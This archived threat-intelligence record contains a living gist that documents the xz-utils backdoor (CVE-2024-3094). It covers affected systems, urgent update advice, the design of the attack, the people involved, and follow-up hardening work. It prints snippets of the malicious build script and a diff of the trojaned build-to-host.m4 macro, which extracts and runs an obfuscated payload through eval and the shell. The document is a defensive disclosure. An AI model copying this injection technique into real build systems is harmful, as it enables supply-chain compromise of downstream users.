{
	"id": "e6faa59f-f084-4da2-a1f4-eb8246607dfd",
	"created_at": "2026-04-06T01:29:37.240996Z",
	"updated_at": "2026-04-10T03:21:26.864097Z",
	"deleted_at": null,
	"sha1_hash": "8ff8750997fdfb1a55c2a705cb9f42047655a54b",
	"title": "xz-utils backdoor situation (CVE-2024-3094)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 158848,
	"plain_text": "xz-utils backdoor situation (CVE-2024-3094)\r\nBy 262588213843476\r\nArchived: 2026-04-06 00:48:35 UTC\r\nThis is a living document. Everything in this document is made in good faith of being accurate, but like I just said;\r\nwe don't yet know everything about what's going on.\r\nUpdate: I've disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if\r\nsomeone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.\r\nBackground\r\nOn March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless\r\ncompression. This package is commonly used for compressing release tarballs, software packages, kernel images,\r\nand initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it\r\ninstalled for convenience.\r\nThis backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet\r\ndiscovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH\r\nports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we\r\ndo not know yet what is required to bypass authentication (etc) with it.\r\nWe're reasonably sure the following things need to be true for your system to be vulnerable:\r\nYou need to be running a distro that uses glibc (for IFUNC)\r\nYou need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) -\r\nlikely only true if running a rolling-release distro and updating religiously.\r\nWe know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the\r\npayload, we cannot be certain that other configurations aren't.\r\nWhile not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other\r\neffects of the infected liblzma.\r\nIf you're running a publicly accessible sshd , then you are - as a rule of thumb for those not wanting to read the rest\r\nhere - likely vulnerable.\r\nIf you aren't, it is unknown for now, but you should update as quickly as possible because investigations are\r\ncontinuing.\r\nTL:DR:\r\nUsing a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:\r\nUsing systemd on publicly accessible ssh: update RIGHT NOW NOW NOW\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 1 of 10\n\nOtherwise: update RIGHT NOW NOW but prioritize the former\r\nUsing another type of distribution:\r\nWith glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.\r\nIf all of these are the case, please update your systems to mitigate this threat. For more information about affected\r\nsystems and how to update, please see this article or check the xz-utils page on Repology.\r\nThis is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.\r\nDesign\r\nThis backdoor has several components. At a high level:\r\nThe release tarballs upstream publishes don't have the same code that GitHub has. This is common in C\r\nprojects so that downstream consumers don't need to remember how to run autotools and autoconf. The\r\nversion of build-to-host.m4 in the release tarballs differs wildly from the upstream on Savannah.\r\nThere are crafted test files in the tests/ folder within the git repository too. These files are in the following\r\ncommits:\r\ntests/files/bad-3-corrupt_lzma2.xz (cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0,\r\n74b138d2a6529f2c07729d7c77b1725a8e8b16f1)\r\ntests/files/good-large_compressed.lzma (cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0,\r\n74b138d2a6529f2c07729d7c77b1725a8e8b16f1)\r\nNote that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754\r\nA script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build\r\nprocess.\r\nIFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime\r\nhooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for\r\nlegitimate things, but in this case it is exploited for this attack path.\r\nNormally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In\r\nthese modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build\r\nprocess.\r\nThis script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine.\r\nHere is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it\r\ndoes:\r\nif ! (echo \"$build\" | grep -Eq \"^x86_64\" \u003e /dev/null 2\u003e\u00261) \u0026\u0026 (echo \"$build\" | grep -Eq\r\n\"linux-gnu$\" \u003e /dev/null 2\u003e\u00261);then\r\nIf amd64/x86_64 is the target of the build\r\nAnd if the target uses the name linux-gnu (mostly checks for the use of glibc)\r\nIt also checks for the toolchain being used:\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 2 of 10\n\nif test \"x$GCC\" != 'xyes' \u003e /dev/null 2\u003e\u00261;then\r\n exit 0\r\n fi\r\n if test \"x$CC\" != 'xgcc' \u003e /dev/null 2\u003e\u00261;then\r\n exit 0\r\n fi\r\n LDv=$LD\" -v\"\r\n if ! $LDv 2\u003e\u00261 | grep -qs 'GNU ld' \u003e /dev/null 2\u003e\u00261;then\r\n exit 0\r\nAnd if you are trying to build a Debian or Red Hat package:\r\nif test -f \"$srcdir/debian/rules\" || test \"x$RPM_ARCH\" = \"xx86_64\";then\r\nThis attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived\r\ndistributions. Other systems may be vulnerable at this time, but we don't know.\r\nLasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git .\r\nDesign specifics\r\n$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4\r\ndiff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4\r\nindex f928e9ab..d5ec3153 100644\r\n--- a/m4/build-to-host.m4\r\n+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4\r\n@@ -1,4 +1,4 @@\r\n-# build-to-host.m4 serial 3\r\n+# build-to-host.m4 serial 30\r\n dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.\r\n dnl This file is free software; the Free Software Foundation\r\n dnl gives unlimited permission to copy and/or distribute it,\r\n@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],\r\n \r\n dnl Define somedir_c.\r\n gl_final_[$1]=\"$[$1]\"\r\n+ gl_[$1]_prefix=`echo $gl_am_configmake | sed \"s/.*\\.//g\"`\r\n dnl Translate it from build syntax to host syntax.\r\n case \"$build_os\" in\r\n cygwin*)\r\n@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],\r\n if test \"$[$1]_c_make\" = '\\\"'\"${gl_final_[$1]}\"'\\\"'; then\r\n [$1]_c_make='\\\"$([$1])\\\"'\r\n fi\r\n+ if test \"x$gl_am_configmake\" != \"x\"; then\r\n+ gl_[$1]_config='sed \\\"r\\n\\\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2\u003e/dev/nul\r\n+ else\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 3 of 10\n\n+ gl_[$1]_config=''\r\n+ fi\r\n+ _LT_TAGDECL([], [gl_path_map], [2])dnl\r\n+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl\r\n+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl\r\n+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl\r\n+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl\r\n AC_SUBST([$1_c_make])\r\n+\r\n+ dnl If the host conversion code has been placed in $gl_config_gt,\r\n+ dnl instead of duplicating it all over again into config.status,\r\n+ dnl then we will have config.status run $gl_config_gt later, so it\r\n+ dnl needs to know what name is stored there:\r\n+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2\u003e/dev/null], [gl_config_gt=\"eval\r\n ])\r\n \r\n dnl Some initializations for gl_BUILD_TO_HOST.\r\n AC_DEFUN([gl_BUILD_TO_HOST_INIT],\r\n [\r\n+ dnl Search for Automake-defined pkg* macros, in the order\r\n+ dnl listed in the Automake 1.10a+ documentation.\r\n+ gl_am_configmake=`grep -aErls \"#{4}[[:alnum:]]{5}#{4}$\" $srcdir/ 2\u003e/dev/null`\r\n+ if test -n \"$gl_am_configmake\"; then\r\n+ HAVE_PKG_CONFIGMAKE=1\r\n+ else\r\n+ HAVE_PKG_CONFIGMAKE=0\r\n+ fi\r\n+\r\n gl_sed_double_backslashes='s/\\\\/\\\\\\\\/g'\r\n gl_sed_escape_doublequotes='s/\"/\\\\\"/g'\r\n+ gl_path_map='tr \"\\t \\-_\" \" \\t_\\-\"'\r\n changequote(,)dnl\r\n gl_sed_escape_for_make_1=\"s,\\\\([ \\\"\u0026'();\u003c\u003e\\\\\\\\\\`|]\\\\),\\\\\\\\\\\\1,g\"\r\n changequote([,])dnl\r\nPayload\r\nIf those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail.\r\nHere are the main things we know:\r\nThe payload activates if the running program has the process name /usr/sbin/sshd . Systems that put\r\nsshd in /usr/bin or another folder may or may not be vulnerable.\r\nIt may activate in other scenarios too, possibly even unrelated to ssh.\r\nWe don't entirely know the payload is intended to do. We are investigating.\r\nSuccessful exploitation does not generate any log entries.\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 4 of 10\n\nVanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma .\r\nLennart Poettering had mentioned that it may happen via pam-\u003elibselinux-\u003eliblzma, and possibly in\r\nother cases too, but...\r\nlibselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only\r\npatch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.\r\nPAM modules are loaded too late in the process AFAIK for this to work (another possible example\r\nwas pam_fprintd ). Solar Designer raised this issue as well on oss-security.\r\nThe payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other\r\nservices can start when sshd is running. liblzma is loaded because it's depended on by other parts of\r\nlibsystemd . This is not the fault of systemd, this is more unfortunate. The patch that most distributions use\r\nis available here: openssh/openssh-portable#375.\r\nUpdate: The OpenSSH developers have added non-library integration of the systemd-notify protocol\r\nso distributions won't be patching it in via libsystemd support anymore. This change has been\r\ncommitted and will land in OpenSSH-9.8, due around June/July 2024.\r\nIf this payload is loaded in openssh sshd , the RSA_public_decrypt function will be redirected into a\r\nmalicious implementation. We have observed that this malicious implementation can be used to bypass\r\nauthentication. Further research is being done to explain why.\r\nFilippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified\r\nby the payload and then attacker input is passed to system() , giving remote code execution (RCE).\r\nTangential xz bits\r\nJia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for\r\nlandlock sandboxing support. This caused the check to always fail so landlock support was detected as\r\nabsent.\r\nHardening of CMake's check_c_source_compiles has been proposed (see Other projects).\r\nIFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.\r\nHans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but\r\nthis is quite a common thing for eager users to do, so it's not necessarily nefarious.\r\nPeople\r\nWe do not want to speculate on the people behind this project in this document. This is not a productive use of our\r\ntime, and law enforcement will be able to handle identifying those responsible. They are likely patching their\r\nsystems too.\r\nxz-utils had two maintainers:\r\nLasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils .\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 5 of 10\n\nJia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then\r\nrelease manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work\r\nahead.\r\nLasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at\r\nhttps://tukaani.org/xz-backdoor/ and is working with the community.\r\nPlease be patient with him as he gets up to speed and takes time to analyse the situation carefully.\r\nMisc notes\r\nPlease do not use ldd on untrusted binaries\r\n[PATCH] ldd: Do not recommend binutils as the safer option\r\nInternet Archive has a collection of the release tarballs\r\nI've also created a git repo for my own convenience at https://github.com/thesamesam/xz-archive.\r\nLasse Collin's in-progress review notes as he audits xz.git\r\nAnalysis of the payload\r\nThis is the part which is very much in flux. It's early days yet.\r\nThese two especially do a great job of analysing the initial/bash stages:\r\nxz/liblzma: Bash-stage Obfuscation Explained by @gynvael\r\nThe xz attack shell script by Russ Cox\r\nOther great resources:\r\nFilippo Valsorda's bluesky thread\r\nXZ Backdoor Analysis (WIP) by @smx-smx\r\nXZ backdoor reverse engineering - git repo\r\nxz backdoor documentation wiki by @Midar et. al\r\nmodify_ssh_rsa_pubkey.py - script to trigger more parts of the payload in a compromised sshd by\r\n@keeganryan\r\nxz-malware by @karcherm\r\nxz-backdoor by @hamarituc\r\nxzbot: notes, honeypot, and exploit demo by @amlweems. This contains binary patching for the key!\r\nXZ Backdoor Extract by @0xlane\r\nhttps://github.com/blasty/JiaTansSSHAgent\r\nXZ backdoor story – Initial analysis (part 1) by Kaspersky\r\nAssessing the Y, and How, of the XZ Utils incident (part 2) by Kaspersky\r\nliblzma.so infection by binarly.io\r\nMinimal setup to trigger the xz backdoor by @felipec\r\nOther projects\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 6 of 10\n\nThere are concerns some other projects are affected (either by themselves or changes to other projects were made to\r\nfacilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been\r\nlinked widely to give some commentary.\r\nlibarchive is being checked out:\r\nlibarchive/libarchive#2103 coordinates the review effort\r\nlibarchive/libarchive#1609 was made by Jia Tan\r\nSolar Designer's take - with an interesting discussion about how terminal applications should\r\nact here\r\nThe initial fix post-review for this was libarchive/libarchive#2101\r\n(https://github.com/libarchive/libarchive/commit/6110e9c82d8ba830c3440f36b990483ceaaea52c).\r\nAfter review, libarchive/libarchive#2101 was made by libarchive maintainers.\r\nIt doesn't appear exploitable but the change in libarchive/libarchive#2101 was made out of\r\ncaution.\r\nOne of the libarchive maintainers has filed libarchive/libarchive#2107 to discuss a better fix as\r\nwell.\r\ngoogle/oss-fuzz#10667 was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils\r\nIt is unclear if this was safe or not. Obviously, it doesn't look great, but see below.\r\nNote that IFUNC is a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why\r\nthe change didn't raise alarm bells. i.e. It is possible that such a change was genuinely made in good\r\nfaith, although it's of course suspicious in hindsight. But I wouldn't say the oss-fuzz maintainers\r\nshould have rejected it, either.\r\ngcc PR70082\r\ngcc PR87482\r\ngcc PR110442\r\ngcc PR114115 - a real bug which xz found(!)\r\nTangential efforts as a result of this incident\r\nThis is for suggesting specific changes which are being considered as a result of this.\r\nCMake: Consider hardening check_c_source_compiles - MR\r\nbug-autoconf: Add a syntax check to code snippets\r\nbug-autoconf: autoreconf --force seemingly does not forcibly update everything\r\nsystemd: Reduce dependencies of libsystemd\r\nNote: There was prior work already on this in e.g. systemd/systemd#31550. While it was initially\r\nthought that this may have have caused acceleration of plans to backdoor xz, as the systemd changes\r\nhad not yet landed in a release, the timing doesn't seem to work out..\r\nxz-5.6.0, the first known-backdoored version, was released on 2024-02-26.\r\nPer Debian's package tracker, xz-5.6.0 was first added on that same day. This predates the\r\nsystemd PR which was opened on 2024-02-29.\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 7 of 10\n\nThat said, the original PR to move systemd towards more dlopen() for e.g. kmod was\r\nopened on 2024-01-30.\r\nOn the same day, a systemd developer suggested extending the approach to compression\r\nlibraries.\r\nsystemd: RFC: expose dlopen() dependencies in an ELF section\r\nLWN\r\ngroff: [PATCH] Distribute bootstrap and bootstrap.conf\r\nGNU binutils: Remove dependency on libjansson\r\nThis is being proposed by @rui314, the maintainer of mold. Rui also wrote about the risks to linkers\r\nin https://x.com/rui314/status/1774286434335338965.\r\nopenssh\r\nNote that as covered above, OpenSSH are looking at removing the need for downstreams to patch in\r\nlibsystemd by implementing a library-less version of the same functionality.\r\nAndres Freund noticed an interesting tangential bug/area for improvement when analysing the exploit,\r\nwhich would avoid checking against algorithms disabled by configuration. (This is not a vulnerability\r\nin OpenSSH and it wouldn't have prevented any of this, but it's come out of this whole thing\r\nnonetheless).\r\nAuditing Linux distribution packages with distro-backdoor-scanner\r\nesr's autodafe to aid conversion from autotools -\u003e Makefiles\r\nbackseat-signed: New supply-chain security tool: backseat-signed\r\ngithub: https://github.com/kpcyrd/backseat-signed\r\nDiscussions in the wake of this\r\nThis is for linking to interesting general discussions, rather than specific changes being suggested (see above).\r\nautomake: GNU Coding Standards, automake, and the recent xz-utils backdoor\r\nbug-gnulib: git repositories vs. tarballs\r\nfedora-devel: Three steps we could take to make supply chain attacks a bit harder\r\ndebian-devel: Upstream dist tarball transparency (was Re: Validating tarballs against git repositories)\r\noss-security: Make your own backdoor: CFLAGS code injection, Makefile injection, pkg-config\r\nNon-mailing list proposals:\r\nSimon Josefsson's blog: Towards reproducible minimal source code tarballs? On *-src.tar.gz\r\nSimon Josefsson's blog: Reproducible and minimal source-only tarballs\r\nAcknowledgements\r\nAndres Freund who discovered the issue and reported it to linux-distros and then oss-security.\r\nAll the hard-working security teams helping to coordinate a response and push out fixes.\r\nXe Iaso who resummarized this page for readability.\r\nEverybody who has provided me tips privately, in #tukaani, or in comments on this gist.\r\nMeta\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 8 of 10\n\nPlease try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.\r\nThere are various places to theorise \u0026 such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse\r\nengineering and OSint). (I'm not associated with that Discord but the link is going around, so...)\r\nResponse to questions\r\nA few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small\r\ncommunity on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few\r\nyears now. When the move from self-hosted infra to github was being planned and implemented, I was\r\naround and starred \u0026 followed the new Tukaani org pretty quickly.\r\nI'm referenced in one of the commits in the original oss-security post that works around noise from the\r\nIFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it\r\nled to (PR114115) has been fixed.\r\nOn reflection, there may have been a missed opportunity as maybe I should have looked into why I\r\ncouldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own\r\nreflections nor is it IMO the time yet.\r\nTODO for this doc\r\nAdd a table of releases + signer?\r\nInclude the injection script after the macro\r\nMention detection?\r\nExplain the bug-autoconf thing maybe wrt serial\r\nExplain dist tarballs, why we use them, what they do, link to autotools docs, etc\r\n\"Explaining the history of it would be very helpful I think. It also explains how a single person was\r\nable to insert code in an open source project that no one was able to peer review. It is pragmatically\r\nimpossible, even if technically possible once you know the problem is there, to peer review a tarball\r\nprepared in this manner.\"\r\nTODO overall\r\nAnyone can and should work on these. I'm just listing them so people have a rough idea of what's left.\r\nEnsuring Lasse Collin and xz-utils is supported, even long after the fervour is over\r\nReverse engineering the payload (it's still fairly early days here on this)\r\nOnce finished, tell people whether:\r\nthe backdoor did anything else than waiting for connections for RCE, like:\r\ncall home (send found private keys, etc)\r\nload/execute additional rogue code\r\ndid some other steps to infest the system (like adding users, authorized_keys, etc.) or\r\nwhether it can be certainly said, that it didn't do so\r\nother attack vectors than via sshd were possible\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 9 of 10\n\nwhether people (who had the compromised versions) can feel fully safe if they either had sshd\r\nnot running OR at least not publicly accessible (e.g. because it was behind a firewall, nat,\r\niptables, etc.)\r\nAuditing all possibly-tainted xz-utils commits\r\nInvestigate other paths for sshd to get liblzma in its process (not just via libsystemd , or at least not\r\ndirectly)\r\nThis is already partly done and it looks like none exist, but it would be nice to be sure.\r\nChecking other projects for similar injection mechanisms (e.g. similar build system lines)\r\nSee distro-backdoor-scanner\r\nhttps://codesearch.debian.net/ may be helpful\r\nDiff and review all \"golden\" upstream tarballs used by distros against the output of creating a tarball from the\r\ngit tag for all packages.\r\nCheck other projecs which (recently) introduced IFUNC, as suggested by thegrugq.\r\nThis isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.\r\n???\r\nReferences and other reading material\r\nLWN - A backdoor in xz\r\noss-security - backdoor in upstream xz/liblzma leading to ssh server compromise\r\nEvan Boehs - Everything I know about the XZ backdoor\r\nTukaani - XZ Utils backdoor\r\nRob Mensching - A Microcosm of the interactions in Open Source projects\r\nRuss Cox - Timeline of the xz open source attack\r\nRhea's Substack - XZ Backdoor: Times, damned times, and scams\r\nLWN - Free software's not-so-eXZellent adventure\r\nLWN - How the XZ backdoor works\r\nLWN - Identifying dependencies used via dlopen()\r\nopenSUSE - What we need to take away from the XZ Backdoor\r\nCISA - Lessons from XZ Utils: Achieving a More Sustainable Open Source Ecosystem\r\nOpenSSF - Open Source Security (OpenSSF) and OpenJS Foundations Issue Alert for Social Engineering\r\nTakeovers of Open Source Projects\r\nhttps://github.com/przemoc/xz-backdoor-links\r\nComments are disabled for this gist.\r\nSource: https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nhttps://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27"
	],
	"report_names": [
		"223949d5a074ebc3dce9ee78baad9e27"
	],
	"threat_actors": [],
	"ts_created_at": 1775438977,
	"ts_updated_at": 1775791286,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8ff8750997fdfb1a55c2a705cb9f42047655a54b.pdf",
		"text": "https://archive.orkl.eu/8ff8750997fdfb1a55c2a705cb9f42047655a54b.txt",
		"img": "https://archive.orkl.eu/8ff8750997fdfb1a55c2a705cb9f42047655a54b.jpg"
	}
}